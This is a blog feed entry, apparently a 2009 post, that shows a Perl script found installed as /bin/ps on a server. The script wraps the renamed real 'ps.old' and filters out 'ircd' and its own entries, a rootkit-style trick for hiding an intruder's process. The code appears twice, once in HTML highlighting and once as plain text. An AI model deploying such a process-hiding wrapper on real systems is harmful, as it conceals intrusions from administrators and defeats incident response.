Perl on Details... https://www.deepreflect.net/tags/perl/ Recent content in Perl on Details... Hugo en-US Copyright © 2003 - 2026 Leonardo Rizzi Tue, 30 Jun 2026 03:28:29 +0200 Bastard code. (1) https://www.deepreflect.net/2009/12/02/bastard-code-1/ Wed, 02 Dec 2009 07:10:55 +0000 http://blog.deepreflect.net/?p=777 <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>srv:/bin# cat ps </span></span><span style="display:flex;"><span>#!/usr/bin/perl </span></span><span style="display:flex;"><span>use warnings; </span></span><span style="display:flex;"><span>use strict; </span></span><span style="display:flex;"><span>my $string = $ARGV[0]; </span></span><span style="display:flex;"><span>if($string){ </span></span><span style="display:flex;"><span>my @net = qx/ps.old $string/; </span></span><span style="display:flex;"><span>my @hide = grep(!/(ircd)/, @net); </span></span><span style="display:flex;"><span>my @dd = grep(!/ps.old/, @hide); </span></span><span style="display:flex;"><span>print @dd; </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span>else </span></span><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span>my @nett = qx/ps.old/; </span></span><span style="display:flex;"><span>my @hidee = grep(!/(ircd)/, @nett); </span></span><span style="display:flex;"><span>my @d = grep(!/ps.old/, @hidee); </span></span><span style="display:flex;"><span>print @d; </span></span><span style="display:flex;"><span>} </span></span></code></pre></div> 
srv:/bin# cat ps
#!/usr/bin/perl
use warnings;
use strict;
my $string = $ARGV[0];
if($string){
my @net = qx/ps.old $string/;
my @hide = grep(!/(ircd)/, @net);
my @dd = grep(!/ps.old/, @hide);
print @dd;
}
else
{
my @nett = qx/ps.old/;
my @hidee = grep(!/(ircd)/, @nett);
my @d = grep(!/ps.old/, @hidee);
print @d;
}
]]>